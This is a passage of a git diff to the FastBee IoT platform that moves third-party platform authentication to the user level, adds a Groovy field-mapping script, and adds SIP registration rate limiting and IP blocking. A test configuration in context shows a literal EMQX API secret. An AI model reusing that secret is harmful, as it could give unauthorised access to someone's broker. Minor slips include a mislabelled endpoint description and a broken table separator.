编辑用户:显示 `platformUserId` 和 `platformUserName`(只读) +- 删除用户:`DELETE /platform/user-auth/{ids}` + +用户初始化流程配置(flow_type=1)需要在 `result_save` 中指定: + +```json +[ + {"field": "access_token", "saveTo": "platform_user_auth.access_token"}, + {"field": "expires_in", "saveTo": "platform_user_auth.token_expires_at"}, + {"field": "userId", "saveTo": "platform_user_auth.platform_user_id"}, + {"field": "userName", "saveTo": "platform_user_auth.platform_user_name"} +] +``` + +> **注意:** `saveTo` 应使用 `platform_user_auth.*` 前缀而非旧的 `platform_instance.*`。 ### 6.2 接口定义 @@ -627,9 +744,10 @@ Redis TTL 为 `reportIntervalSec * 2`,读取时超过 `reportIntervalSec * 1.5 - 按平台查询流程。 - 新增、编辑流程及步骤。 - 查看流程详情时返回 `{flow, steps}`。 -- 手动执行:`POST /platform/flow/{id}/execute`,可选 `mappingId`。 - 步骤入参覆盖同样支持 `source=onboard_config`,语义与接口管理一致:配置 `value`,不配置子映射字段名。 +> **注意:** 流程手动执行按钮已移除,流程只能通过业务入口触发。 + ### 6.4 设备绑定 路径:`yack-web/src/views/platform/device-mapping/index.vue` @@ -638,7 +756,11 @@ Redis TTL 为 `reportIntervalSec * 2`,读取时超过 `reportIntervalSec * 1.5 主要能力: -- 管理平台、设备、传感器类型、设备类型、推送接口、字段映射。 +- 管理平台、用户、项目、设备、传感器类型、设备类型、推送接口、字段映射。 +- 级联选择(新增): + - 选择平台 → 加载已初始化用户列表:`GET /platform/user-auth/initialized/{platformId}` + - 选择用户 → 加载项目列表:`GET /platform/user-auth/{id}/projects` + - 选择项目 → 回填 `platformProjectId` 和 `platformProjectName` - 入网:`POST /platform/device-mapping/{id}/onboard`。 - 子设备映射: - 查询:`GET /platform/device-mapping/{id}/sub-mappings` @@ -646,6 +768,10 @@ Redis TTL 为 `reportIntervalSec * 2`,读取时超过 `reportIntervalSec * 1.5 网关设备必须配置子映射,monitor 子设备才会执行入网并获得平台 deviceId。 +**级联选择接口权限:** 使用 `hasAnyPermi` 支持跨页面调用: +- `/platform/user-auth/initialized/{platformId}` - 允许 `platform:userAuth:list` 或 `platform:deviceMapping:*` +- `/platform/user-auth/{id}/projects` - 同上 + ### 6.5 推送日志 路径:`yack-web/src/views/platform/push-log/index.vue` @@ -690,7 +816,7 @@ SET @dcp_platform_id = (SELECT id FROM platform_instance WHERE code = 'dcp' LIMI ### 7.2 内置流程(6 个) | code | flow_type | sensor_type | 步骤 | -|---|---:|---|---| +|---|---|---|---:|---| | `dcp_init` | 1 | - | `dcp_auth` -> `dcp_get_user` -> `dcp_get_projects` | | `dcp_token_refresh` | 3 | - | `dcp_auth` | | `dcp_onboard_inclino` | 2 | `inclino` | `dcp_create_point` -> `dcp_bind_inclino` | @@ -704,7 +830,7 @@ SET @dcp_platform_id = (SELECT id FROM platform_instance WHERE code = 'dcp' LIMI - 深部位移绑定接口的 `sensorIds` 使用 `source=cascadedSubDeviceSensorIds`,`sensorDepths` 使用 `source=cascadedSubDeviceDepths`。 - 静力水准绑定接口的 `sensorIds` 使用 `source=referenceSubDeviceSensorIdPairs`。 - 静力水准推送接口定义了数组字段 `sensorData`,其 `itemSchema` 包含 `epoch`、`height`、`temperature`、`sensorId`。 -- 轴力计和雨量计 DCP 文档要求累计值递增;当前代码未在适配器中实现“查询上次成功值并跳过非递增值”的通用校验,若目标平台严格校验,需要在推送前补充该逻辑或依赖平台返回失败日志。 +- 轴力计和雨量计 DCP 文档要求累计值递增;当前代码未在适配器中实现"查询上次成功值并跳过非递增值"的通用校验,若目标平台严格校验,需要在推送前补充该逻辑或依赖平台返回失败日志。 ### 7.4 深部位移计扩展配置 @@ -739,7 +865,7 @@ DCP 深部位移绑定接口: ] ``` -网关多子设备绑定深部位移计时,子映射表中的 monitor 顺序表示从浅到深。`sensorDepths.value` 也按浅到深配置完整孔深数组,例如 `[1.7,3.4,5.1,6.8]`。流程执行器会按当前 monitor 截取“当前节点 + 更深节点”,再倒序成 DCP 要求的“最深到当前”: +网关多子设备绑定深部位移计时,子映射表中的 monitor 顺序表示从浅到深。`sensorDepths.value` 也按浅到深配置完整孔深数组,例如 `[1.7,3.4,5.1,6.8]`。流程执行器会按当前 monitor 截取"当前节点 + 更深节点",再倒序成 DCP 要求的"最深到当前": - 第 1 个 monitor(1.7m):`sensorDepths=[6.8,5.1,3.4,1.7]`,`sensorIds=[6.8m sensorId,5.1m sensorId,3.4m sensorId,1.7m sensorId]`。 - 第 2 个 monitor(3.4m):`sensorDepths=[6.8,5.1,3.4]`,`sensorIds=[6.8m sensorId,5.1m sensorId,3.4m sensorId]`。 @@ -768,14 +894,20 @@ DCP 深部位移绑定接口: ## 9. 当前实现限制与注意事项 +- **Token 迁移:** Token/认证已从 `PlatformInstance`(平台级)迁移到 `PlatformUserAuth`(用户级)。旧的 `result_save` 配置如果使用了 `platform_instance.*` 前缀,需要更新为 `platform_user_auth.*`。`PlatformInstance.access_token`/`token_expires_at` 字段已废弃。 +- **Service 简化:** `PlatformInstanceServiceImpl` 仅保留 `selectList`;初始化、Token 管理、项目查询等功能已迁移到 `PlatformUserAuthServiceImpl`。 +- **Controller 拆分:** `PlatformInstanceController` 移除了 `initialize` 和 `getProjects` 端点,这些功能已迁移到 `PlatformUserAuthController`。 +- **FlowContext 变更:** `platformUserAuth` 现在是必填字段。旧的 `FlowContext(PlatformInstance)` 构造函数已移除。 +- **流程手动执行移除:** `POST /platform/flow/{id}/execute` 端点已移除,流程只能通过业务入口(初始化/入网/Token 刷新)触发。 +- **入网校验变更:** 入网时不再校验 `platformProjectId` 是否为空,改为校验 `platformUserAuth` 是否存在。 - 当前适配器只有 DCP。新增平台需要新增 adapter,并在 `DeviceReportTrigger.dispatchPush` 中按平台 `code` 路由。 -- 文档中的“可视化配置”已覆盖平台、接口、流程、设备绑定、子映射和日志,但平台适配器路由仍需要代码扩展。 +- 文档中的"可视化配置"已覆盖平台、接口、流程、设备绑定、子映射和日志,但平台适配器路由仍需要代码扩展。 - DCP 实时推送必须配置 `push_interface_id`,未配置时不会按传感器类型自动回退路径。 - 实时推送只支持 POST JSON,流程执行支持 GET、form、JSON。 - `idempotency_key` 字段已建表,但实时推送未生成幂等键。 -- `PlatformInstanceController.getInfo` 只清空 `access_token`,注释提到密码脱敏,但当前代码未改写 `auth_config` 内密码。 +- `PlatformUserAuthController.getInfo` 会清空 `access_token`。 - `platform_device_mapping.platform_device_id` 对网关设备不是主要数据来源;网关 monitor 的平台 deviceId 保存在 `platform_device_sub_mapping.platform_device_id`。 -- 静力水准 monitor 先到时会缓存 monitor 数据,但当前主推送分支是在 monitor 到达时读取基准点缓存;若要实现“基准点后到自动补推所有等待 monitor”,需要在基准点上报分支补充扫描 monitor 缓存并推送。 +- 静力水准 monitor 先到时会缓存 monitor 数据,但当前主推送分支是在 monitor 到达时读取基准点缓存;若要实现"基准点后到自动补推所有等待 monitor",需要在基准点上报分支补充扫描 monitor 缓存并推送。 - 定时推送依赖 Redis 缓存数据,若设备数据未及时写入 Redis,定时推送可能推送过期数据或无数据可推。 - 定时推送网关设备时会遍历所有子设备,大量子设备场景需关注性能和外部接口调用频率。 - 定时推送当前使用 `@Scheduled(fixedDelay)`,不支持 Cron 表达式;如需灵活调度需引入 Quartz。 diff --git a/docs/scripts/data_bridge_script.groovy b/docs/scripts/data_bridge_script.groovy new file mode 100644 index 00000000..b056fa80 --- /dev/null +++ b/docs/scripts/data_bridge_script.groovy @@ -0,0 +1,138 @@ +// 数据桥接脚本 - FastBee物模型格式转第三方平台格式 +// 输入格式:[{"message":[{"id":"物模型标识","value":"值"...}],"sources":"..."}] +// 输出格式:{"设备编号":{"节点标识":{"字段":值}}} + +import cn.hutool.json.JSONArray; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; +import cn.hutool.core.util.NumberUtil; + +// 在Groovy脚本中,msgContext对象直接可用 +// 获取上下文信息 +String topic = msgContext.getTopic(); +String payload = msgContext.getPayload(); +String serialNumber = msgContext.getSerialNumber(); + +msgContext.logger.info("数据桥接 - 接收到FastBee数据: 设备={}, payload={}", serialNumber, payload); + +// 数据转换处理 +try { + // 直接解析为JSONArray(实际格式是对象数组) + JSONArray inputArray = JSONUtil.parseArray(payload); + + if (inputArray == null || inputArray.isEmpty()) { + msgContext.logger.warn("数据桥接 - 输入数据为空"); + return; + } + + msgContext.logger.info("数据桥接 - 解析到 {} 个物模型项", inputArray.size()); + + // 准备输出数据结构 + JSONObject outputData = new JSONObject(); + JSONObject deviceData = new JSONObject(); + + // 初始化两个节点容器 + JSONObject L3_MS_1 = new JSONObject(); // 频率、温度、压力 + JSONObject S1_ZT_1 = new JSONObject(); // 经纬度、电压 + + // 遍历物模型数据,进行字段映射 + for (int i = 0; i < inputArray.size(); i++) { + JSONObject item = inputArray.getJSONObject(i); + String identifier = item.getStr("id"); + Object value = item.get("value"); + + if (identifier == null || value == null) { + msgContext.logger.debug("跳过空项: {}", item); + continue; + } + + msgContext.logger.debug("处理物模型项: id={}, value={}", identifier, value); + + switch (identifier) { + // 字段映射 - 频率通道 -> L3_MS_1 + case "F_CH1": + L3_MS_1.set("hz1", convertValue(value)) + break + case "F_CH2": + L3_MS_1.set("hz2", convertValue(value)) + break + case "F_CH3": + L3_MS_1.set("hz3", convertValue(value)) + break + // 字段映射 - 温度通道 -> L3_MS_1 + case "T_CH1": + L3_MS_1.set("wd1", convertValue(value)) + break + case "T_CH2": + L3_MS_1.set("wd2", convertValue(value)) + break + case "T_CH3": + L3_MS_1.set("wd3", convertValue(value)) + break + // 字段映射 - 压力 -> L3_MS_1 + case "KN": + L3_MS_1.set("value", convertValue(value)) + break + // 字段映射 - 经纬度、电压 -> S1_ZT_1 + case "Lont": + S1_ZT_1.set("lon", convertValue(value)) + break + case "Lat": + S1_ZT_1.set("lat", convertValue(value)) + break + case "Vol": + S1_ZT_1.set("ext_power_volt", convertValue(value)) + break + default: + msgContext.logger.debug("未映射的物模型标识: {}", identifier) + break; + } + } + + // 组装输出数据结构 + // 只有非空节点才添加到输出 + if (!L3_MS_1.isEmpty()) { + deviceData.set("L3_MS_1", L3_MS_1); + msgContext.logger.info("L3_MS_1 节点字段数: {}", L3_MS_1.size()); + } + if (!S1_ZT_1.isEmpty()) { + deviceData.set("S1_ZT_1", S1_ZT_1); + msgContext.logger.info("S1_ZT_1 节点字段数: {}", S1_ZT_1.size()); + } + + // 使用上下文中的设备编号 + if (serialNumber == null) { + throw new IllegalArgumentException("数据桥接失败:serialNumber 不能为空"); + } + outputData.set(serialNumber, deviceData); + + // 构建新的payload + String newPayload = outputData.toString(); + + msgContext.logger.info("数据桥接 - 转换完成: 设备={}, 输出payload={}", serialNumber, newPayload); + + // 返回新的数据 + msgContext.setTopic(topic); + msgContext.setPayload(newPayload); + +} catch (Exception e) { + msgContext.logger.error("数据桥接 - 转换异常: ", e); + // 转换失败时保持原数据 + msgContext.setTopic(topic); + msgContext.setPayload(payload); +} +// 执行Action动作参数(脚本由系统自动生成) +msgContext.setData("mqttBridgeID", 3); + +// 辅助方法:转换值为数字类型(保持精度) +Object convertValue(Object value) { + if (value == null) { + return null; + } + try { + String strValue = String.valueOf(value); + return Double.parseDouble(strValue); + } catch (Exception e) { + return value; + } +} \ No newline at end of file diff --git a/fastbee-admin/src/main/resources/application-dev.yml b/fastbee-admin/src/main/resources/application-dev.yml index 5f9807f0..fe7c6cbc 100644 --- a/fastbee-admin/src/main/resources/application-dev.yml +++ b/fastbee-admin/src/main/resources/application-dev.yml @@ -144,6 +144,12 @@ sip: log: true zlmRecordPath: /opt/media/bin/www mp4_max_second: 30 # 视频录像时长,单位秒 + # SIP安全防护配置 + security: + enabled: true # 是否启用安全防护 + rate-limit: 30 # 每分钟最大请求数 + block-threshold: 50 # 触发封禁的请求次数 + block-duration: 30 # 封禁时长(分钟) # 日志配置 logging: diff --git a/fastbee-admin/src/main/resources/application-prod.yml b/fastbee-admin/src/main/resources/application-prod.yml index c936a670..1fda0c71 100644 --- a/fastbee-admin/src/main/resources/application-prod.yml +++ b/fastbee-admin/src/main/resources/application-prod.yml @@ -139,6 +139,12 @@ sip: log: false zlmRecordPath: /opt/media/bin/www mp4MaxSecond: 30 # 视频录像时长,单位秒 + # SIP安全防护配置 + security: + enabled: true # 是否启用安全防护 + rate-limit: 5 # 每分钟最大请求数(生产环境更严格) + block-threshold: 10 # 触发封禁的请求次数 + block-duration: 10080 # 封禁时长(分钟)一个星期 # 日志配置 logging: diff --git a/fastbee-admin/src/main/resources/application-test.yml b/fastbee-admin/src/main/resources/application-test.yml index 7157c618..d1b61ac9 100644 --- a/fastbee-admin/src/main/resources/application-test.yml +++ b/fastbee-admin/src/main/resources/application-test.yml @@ -78,10 +78,10 @@ emqx: ApiSecret: tMbf5EEZFb08sut88i4tZscxTc9CE3gaRQewSOTRNvWL # sip 配置 sip: - enabled: false # 是否启用视频监控SIP,true为启用 + enabled: true # 是否启用视频监控SIP,true为启用 ## 本地调试时,绑定网卡局域网IP,设备在同一局域网,设备接入IP填写绑定IP ## 部署服务端时,默认绑定容器IP,设备接入IP填写服务器公网IP - ip: 47.121.180.229 # 容器部署容器IP:47.121.180.229;云服务器部署写公网IP;本地部署127.0.0.1;总原则:能被摄像机访问的地址 + ip: 127.0.0.1 # 容器部署容器IP:47.121.180.229;云服务器部署写公网IP;本地部署127.0.0.1;总原则:能被摄像机访问的地址 port: 5061 # SIP端口(保持默认) domain: 3402000000 # 由省级、市级、区级、基层编号组成 id: 34020000002000000001 # 同上,另外增加编号,(可保持默认) @@ -89,6 +89,12 @@ sip: log: false zlmRecordPath: /opt/media/bin/www mp4MaxSecond: 30 # 视频录像时长,单位秒 + # SIP安全防护配置 + security: + enabled: true # 是否启用安全防护 + rate-limit: 20 # 每分钟最大请求数(生产环境更严格) + block-threshold: 30 # 触发封禁的请求次数 + block-duration: 60 # 封禁时长(分钟) # 日志配置 logging: diff --git a/fastbee-common/src/main/java/com/fastbee/common/constant/FastBeeConstant.java b/fastbee-common/src/main/java/com/fastbee/common/constant/FastBeeConstant.java index 48d88c51..d60c0b3a 100644 --- a/fastbee-common/src/main/java/com/fastbee/common/constant/FastBeeConstant.java +++ b/fastbee-common/src/main/java/com/fastbee/common/constant/FastBeeConstant.java @@ -299,6 +299,11 @@ public interface FastBeeConstant { */ String DATA_REPAIR_CONFIG_KEY = "data:repair:config"; + /** + * 平台对接KEYS + * DCP平台项目列表缓存key + */ + String DCP_PROJECT_INFO_KEY = "platform:dcp:projectInfoKey:"; } diff --git a/fastbee-common/src/main/java/com/fastbee/common/core/redis/RedisKeyBuilder.java b/fastbee-common/src/main/java/com/fastbee/common/core/redis/RedisKeyBuilder.java index 91114794..a5756857 100644 --- a/fastbee-common/src/main/java/com/fastbee/common/core/redis/RedisKeyBuilder.java +++ b/fastbee-common/src/main/java/com/fastbee/common/core/redis/RedisKeyBuilder.java @@ -161,6 +161,10 @@ public class RedisKeyBuilder { return FastBeeConstant.REDIS.MODBUS_TCP_RUNTIME + serialNumber; } + public static String buildDCPProjectInfoKey(String platformUserId) { + return FastBeeConstant.REDIS.DCP_PROJECT_INFO_KEY + platformUserId; + } + /** * 设备OTA升级实时数据 diff --git a/fastbee-open-api/src/main/java/com/fastbee/controller/platform/PlatformFlowController.java b/fastbee-open-api/src/main/java/com/fastbee/controller/platform/PlatformFlowController.java index 818831e6..e2b8596a 100644 --- a/fastbee-open-api/src/main/java/com/fastbee/controller/platform/PlatformFlowController.java +++ b/fastbee-open-api/src/main/java/com/fastbee/controller/platform/PlatformFlowController.java @@ -71,14 +71,6 @@ public class PlatformFlowController extends BaseController { return success(); } - @PreAuthorize("@ss.hasPermi('platform:flow:edit')") - @PostMapping("/{id}/execute") - @ApiOperation("手动执行流程") - public AjaxResult execute(@PathVariable Long id, @RequestParam(required = false) Long mappingId) { - flowService.executeManually(id, mappingId); - return success("执行完成"); - } - @Data public static class FlowWithSteps { private PlatformFlow flow; diff --git a/fastbee-open-api/src/main/java/com/fastbee/controller/platform/PlatformInstanceController.java b/fastbee-open-api/src/main/java/com/fastbee/controller/platform/PlatformInstanceController.java index 55923fa8..91ff8cbd 100644 --- a/fastbee-open-api/src/main/java/com/fastbee/controller/platform/PlatformInstanceController.java +++ b/fastbee-open-api/src/main/java/com/fastbee/controller/platform/PlatformInstanceController.java @@ -11,6 +11,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.web.bind.annotation.*; +import javax.websocket.server.PathParam; import java.util.List; @RestController @@ -65,12 +66,4 @@ public class PlatformInstanceController extends BaseController { } return success(); } - - @PreAuthorize("@ss.hasPermi('platform:instance:edit')") - @PostMapping("/{id}/initialize") - @ApiOperation("初始化平台(执行初始化流程,获取userId/projectId等)") - public AjaxResult initialize(@PathVariable Long id) { - instanceService.initialize(id); - return success("初始化成功"); - } } diff --git a/fastbee-open-api/src/main/java/com/fastbee/controller/platform/PlatformUserAuthController.java b/fastbee-open-api/src/main/java/com/fastbee/controller/platform/PlatformUserAuthController.java new file mode 100644 index 00000000..b00ba9cd --- /dev/null +++ b/fastbee-open-api/src/main/java/com/fastbee/controller/platform/PlatformUserAuthController.java @@ -0,0 +1,92 @@ +package com.fastbee.controller.platform; + +import com.fastbee.common.core.controller.BaseController; +import com.fastbee.common.core.domain.AjaxResult; +import com.fastbee.common.core.page.TableDataInfo; +import com.fastbee.iot.platform.domain.PlatformUserAuth; +import com.fastbee.iot.platform.service.IPlatformUserAuthService; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +@RestController +@RequestMapping("/platform/user-auth") +@Api(tags = "平台用户认证") +public class PlatformUserAuthController extends BaseController { + + @Autowired + private IPlatformUserAuthService userAuthService; + + @PreAuthorize("@ss.hasPermi('platform:userAuth:list')") + @GetMapping("/list") + @ApiOperation("查询用户认证列表") + public TableDataInfo list(PlatformUserAuth query) { + startPage(); + List list = userAuthService.selectList(query); + return getDataTable(list); + } + + @PreAuthorize("@ss.hasAnyPermi('platform:userAuth:list,platform:deviceMapping:list,platform:deviceMapping:add,platform:deviceMapping:edit')") + @GetMapping("/initialized/{platformId}") + @ApiOperation("查询平台下已初始化的用户列表") + public AjaxResult getInitializedUsers(@PathVariable Long platformId) { + List list = userAuthService.selectInitializedByPlatformId(platformId); + return success(list); + } + + @PreAuthorize("@ss.hasPermi('platform:userAuth:query')") + @GetMapping("/{id}") + @ApiOperation("获取用户认证详情") + public AjaxResult getInfo(@PathVariable Long id) { + PlatformUserAuth userAuth = userAuthService.getById(id); + // 脱敏:不返回 access_token + if (userAuth != null) { + userAuth.setAccessToken(null); + } + return success(userAuth); + } + + @PreAuthorize("@ss.hasPermi('platform:userAuth:add')") + @PostMapping + @ApiOperation("新增用户认证") + public AjaxResult add(@RequestBody PlatformUserAuth userAuth) { + return toAjax(userAuthService.save(userAuth)); + } + + @PreAuthorize("@ss.hasPermi('platform:userAuth:edit')") + @PutMapping + @ApiOperation("修改用户认证") + public AjaxResult edit(@RequestBody PlatformUserAuth userAuth) { + return toAjax(userAuthService.updateById(userAuth)); + } + + @PreAuthorize("@ss.hasPermi('platform:userAuth:remove')") + @DeleteMapping("/{ids}") + @ApiOperation("删除用户认证") + public AjaxResult remove(@PathVariable Long[] ids) { + for (Long id : ids) { + userAuthService.removeById(id); + } + return success(); + } + + @PreAuthorize("@ss.hasPermi('platform:userAuth:initialize')") + @PostMapping("/{id}/initialize") + @ApiOperation("初始化用户认证(执行初始化流程,获取platformUserId)") + public AjaxResult initialize(@PathVariable Long id) { + userAuthService.initialize(id); + return success("初始化成功"); + } + + @PreAuthorize("@ss.hasAnyPermi('platform:userAuth:list,platform:deviceMapping:list,platform:deviceMapping:add,platform:deviceMapping:edit')") + @GetMapping("/{id}/projects") + @ApiOperation("查询用户的项目列表") + public AjaxResult getProjects(@PathVariable Long id) { + return success(userAuthService.getProjectsByUserAuthId(id)); + } + +} \ No newline at end of file diff --git a/fastbee-open-api/src/main/java/com/fastbee/controller/sip/SipRelationController.java b/fastbee-open-api/src/main/java/com/fastbee/controller/sip/SipRelationController.java index 6219fe2c..156d4a59 100644 --- a/fastbee-open-api/src/main/java/com/fastbee/controller/sip/SipRelationController.java +++ b/fastbee-open-api/src/main/java/com/fastbee/controller/sip/SipRelationController.java @@ -6,12 +6,14 @@ import com.fastbee.common.core.page.TableDataInfo; import com.fastbee.common.utils.poi.ExcelUtil; import com.fastbee.iot.domain.SipRelation; import com.fastbee.iot.service.ISipRelationService; +import com.fastbee.sip.service.ISipSecurityService; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.web.bind.annotation.*; +import javax.annotation.Resource; import javax.servlet.http.HttpServletResponse; import java.util.List; @@ -28,6 +30,9 @@ public class SipRelationController extends BaseController { @Autowired private ISipRelationService sipRelationService; + @Resource + private ISipSecurityService sipSecurityService; + /** * 查询监控设备关联列表 */ @@ -98,4 +103,14 @@ public class SipRelationController extends BaseController { public AjaxResult remove(@PathVariable Long[] ids) { return toAjax(sipRelationService.deleteSipRelationByIds(ids)); } + + // ================================= 解禁IP ================================= + + @PreAuthorize("@ss.hasPermi('iot:relation:edit')") + @GetMapping("/unblockIp") + @ApiOperation("删除监控设备关联") + public AjaxResult unblockIp(@RequestParam("ip") String ip) { + sipSecurityService.unblockIp(ip); + return success(); + } } diff --git a/fastbee-plugs/fastbee-mqtt-client/src/main/java/com/fastbee/mqttclient/PubMqttCallBack.java b/fastbee-plugs/fastbee-mqtt-client/src/main/java/com/fastbee/mqttclient/PubMqttCallBack.java index f5656466..4f696d84 100644 --- a/fastbee-plugs/fastbee-mqtt-client/src/main/java/com/fastbee/mqttclient/PubMqttCallBack.java +++ b/fastbee-plugs/fastbee-mqtt-client/src/main/java/com/fastbee/mqttclient/PubMqttCallBack.java @@ -96,13 +96,13 @@ public class PubMqttCallBack implements MqttCallbackExtended { @Override public void connectComplete(boolean reconnect, String serverURI) { log.info("MQTT内部客户端已经连接!"); - System.out.print( - "▌▌▌▌ ▌▌▌▌ ▌▌▌▌ ▍▌▌▌▌▍ ▌▌▌ ▌▌▌▌ ▍▌▌▌▌▍ ▌▌▌\n" + - " ▌▌▌▌▎▌▌▌▌ ▌▌▌▎▌▌ ▍▌▌▌▌▌▌▎ ▌▌▌ ▌▌▌▎▌▌ ▍▌▌▌▌▌▌▎ ▌▌▌\n" + - " ▌▌▌▌▌▌ ▌▌▌ ▌▌▌ ▍▌▌▌▏▌▌▌▌ ▌▌▌ ▌▌▌ ▌▌▌ ▍▌▌▌▏▌▌▌▌ ▌▌▌\n" + - " ▌▌▌▍ ▌▌▌▌▍▍▍▌▌▌ ▌▌▌▌ ▌▌▌▌▌▌▌ ▌▌▌▌▍▍▍▌▌▌ ▌▌▌▌ ▌▌▌▌▌▌▌\n" + - " ▌▌▌▏ ▌▌▌▌▌▌▌▌▌▌▌▌ ▌▌▌▌ ▌▌▌▌▌▌ ▌▌▌▌▌▌▌▌▌▌▌▌ ▌▌▌▌ ▌▌▌▌▌▌\n" + - " ▌▌▌▏ ▌▌▌▌ ▌▌▌▌ ▌▌▌▌ ▌▌▌▌▌ ▌▌▌▌ ▌▌▌▌ ▌▌▌▌ ▌▌▌▌▌" + System.out.print("" + + "▌▌▌▌ ▌▌▌▌ ▌▌▌▌▌▌ ▍▌▌▌▌▍ ▌▌▌ ▌▌▌▌ ▌▌▌▌▌▍ ▌▌▌▌\n" + + " ▌▌▌▌▎▌▌▌▌ ▌▌▌ ▌▌▌ ▍▌▌▌▌▌▌▎ ▌▌▌ ▌▌▌▎▌▌ ▌▌▌▌▌▌▌ ▌▌▌▌\n" + + " ▌▌▌▌▌▌ ▌▌▌▌ ▌▌▌ ▍▌▌▌▏▌▌▌▌ ▌▌▌ ▌▌▌ ▌▌▌ ▌▌▌▌▌▌▌▌ ▌▌▌▌\n" + + " ▌▌▌▍ ▌▌▌▍▍▍▌▌▌▌ ▌▌▌▌ ▌▌▌▌▌▌▌ ▌▌▌▌▍▍▍▌▌▌ ▌▌▌▌ ▌▌▌▌▌▌▌▌\n" + + " ▌▌▌▏ ▌▌▌▌▌▌▌▌▌▌▌▌ ▌▌▌▌ ▌▌▌▌▌▌ ▌▌▌▌▌▌▌▌▌▌▌▌ ▌▌▌▌ ▌▌▌▌▌▌\n" + + " ▌▌▌▏ ▌▌▌▌ ▌▌▌▌ ▌▌▌▌ ▌▌▌▌▌ ▌▌▌▌ ▌▌▌▌ ▌▌▌▌ ▌▌▌▌▌\n" ); diff --git a/fastbee-server/sip-server/pom.xml b/fastbee-server/sip-server/pom.xml index 6d907ecc..b41feefa 100644 --- a/fastbee-server/sip-server/pom.xml +++ b/fastbee-server/sip-server/pom.xml @@ -63,6 +63,12 @@ jackson-databind + + + com.fastbee + fastbee-common + + diff --git a/fastbee-server/sip-server/src/main/java/com/fastbee/sip/handler/req/RegisterReqHandler.java b/fastbee-server/sip-server/src/main/java/com/fastbee/sip/handler/req/RegisterReqHandler.java index d8ee9b4f..921fc05d 100644 --- a/fastbee-server/sip-server/src/main/java/com/fastbee/sip/handler/req/RegisterReqHandler.java +++ b/fastbee-server/sip-server/src/main/java/com/fastbee/sip/handler/req/RegisterReqHandler.java @@ -16,6 +16,7 @@ import com.fastbee.sip.service.IMqttService; import com.fastbee.sip.service.ISipConfigService; import com.fastbee.sip.service.ISipDeviceChannelService; import com.fastbee.sip.service.ISipDeviceService; +import com.fastbee.sip.service.ISipSecurityService; import com.fastbee.sip.util.DigestAuthUtil; import gov.nist.javax.sip.address.AddressImpl; import gov.nist.javax.sip.address.SipUri; @@ -23,11 +24,11 @@ import gov.nist.javax.sip.header.Expires; import gov.nist.javax.sip.header.SIPDateHeader; import gov.nist.javax.sip.message.SIPRequest; import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.StringUtils; import org.springframework.beans.factory.InitializingBean; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import org.springframework.util.ObjectUtils; -import org.springframework.util.StringUtils; import javax.sip.InvalidArgumentException; import javax.sip.RequestEvent; @@ -70,42 +71,70 @@ public class RegisterReqHandler extends ReqAbstractHandler implements Initializi @Autowired private SIPSender sipSender; + @Autowired + private ISipSecurityService sipSecurityService; + @Override public void processMsg(RequestEvent evt) { try { - log.info("收到注册请求,开始处理"); Request request = evt.getRequest(); - SIPRequest Sipreq = (SIPRequest) evt.getRequest(); + SIPRequest sipReq = (SIPRequest) evt.getRequest(); Response response; - // 注册标志 0:未携带授权头或者密码错误 1:注册成功 2:注销成功 - int registerFlag; + + // ========== 安全防护检查 ========== + // 提取客户端IP + ViaHeader viaHeader = (ViaHeader) request.getHeader(ViaHeader.NAME); + String clientIp = viaHeader.getReceived(); + + if (StringUtils.isEmpty(clientIp)) { + clientIp = viaHeader.getHost(); + } + + // 检查IP是否在黑名单中 + if (sipSecurityService.isBlocked(clientIp)) { + log.debug("[SIP安全] IP {} 已封禁,拒绝REGISTER请求", clientIp); + return; // 直接丢弃,不响应 + } + + // 检查速率限制 FromHeader fromHeader = (FromHeader) request.getHeader(FromHeader.NAME); AddressImpl address = (AddressImpl) fromHeader.getAddress(); SipUri uri = (SipUri) address.getURI(); String sipId = uri.getUser(); + + if (sipSecurityService.checkAndRecord(clientIp, sipId)) { + log.debug("[SIP安全] IP {} 请求超限,拒绝请求,sipId: {}", clientIp, sipId); + return; // 直接丢弃,让攻击者超时等待 + } + + log.debug("收到注册请求,开始处理,sipId: {}, IP: {}", sipId, clientIp); + // ========== 安全防护检查结束 ========== + + // 注册标志 0:未携带授权头或者密码错误 1:注册成功 2:注销成功 + int registerFlag; //取默认Sip配置 SipConfig sipConfig = sipConfigService.selectSipConfigBydeviceSipId(sipId); if (sipConfig != null) { - AuthorizationHeader authorhead = (AuthorizationHeader) request.getHeader(AuthorizationHeader.NAME); + AuthorizationHeader authorHead = (AuthorizationHeader) request.getHeader(AuthorizationHeader.NAME); // 校验密码是否正确 - if (authorhead == null && !ObjectUtils.isEmpty(sipConfig.getPassword())) { - log.info("未携带授权头 回复401,sipId:{}", sipId); + if (authorHead == null && !ObjectUtils.isEmpty(sipConfig.getPassword())) { + log.debug("未携带授权头 回复401,sipId:{},IP:{}", sipId, clientIp); response = getMessageFactory().createResponse(Response.UNAUTHORIZED, request); new DigestAuthUtil().generateChallenge(getHeaderFactory(), response, sipConfig.getDomain()); - sipSender.transmitRequest(Sipreq.getLocalAddress().getHostAddress(), response); + sipSender.transmitRequest(sipReq.getLocalAddress().getHostAddress(), response); return; } - boolean pcheck = new DigestAuthUtil().doAuthenticatePlainTextPassword(request, + boolean preCheck = new DigestAuthUtil().doAuthenticatePlainTextPassword(request, sipConfig.getPassword()); - boolean syscheck = new DigestAuthUtil().doAuthenticatePlainTextPassword(request, + boolean sysCheck = new DigestAuthUtil().doAuthenticatePlainTextPassword(request, sysSipConfig.getPassword()); - if (!pcheck && !syscheck) { + if (!preCheck && !sysCheck) { // 注册失败 response = getMessageFactory().createResponse(Response.FORBIDDEN, request); response.setReasonPhrase("wrong password"); - log.info("[注册请求] 密码/SIP服务器ID错误, 回复403 sipId:" + sipId); + log.info("[注册请求] 密码/SIP服务器ID错误, 回复403 sipId:{}", sipId); getServerTransaction(evt).sendResponse(response); return; } @@ -122,7 +151,7 @@ public class RegisterReqHandler extends ReqAbstractHandler implements Initializi response.addHeader(request.getHeader(ContactHeader.NAME)); // 添加Expires头 response.addHeader(request.getExpires()); - ViaHeader 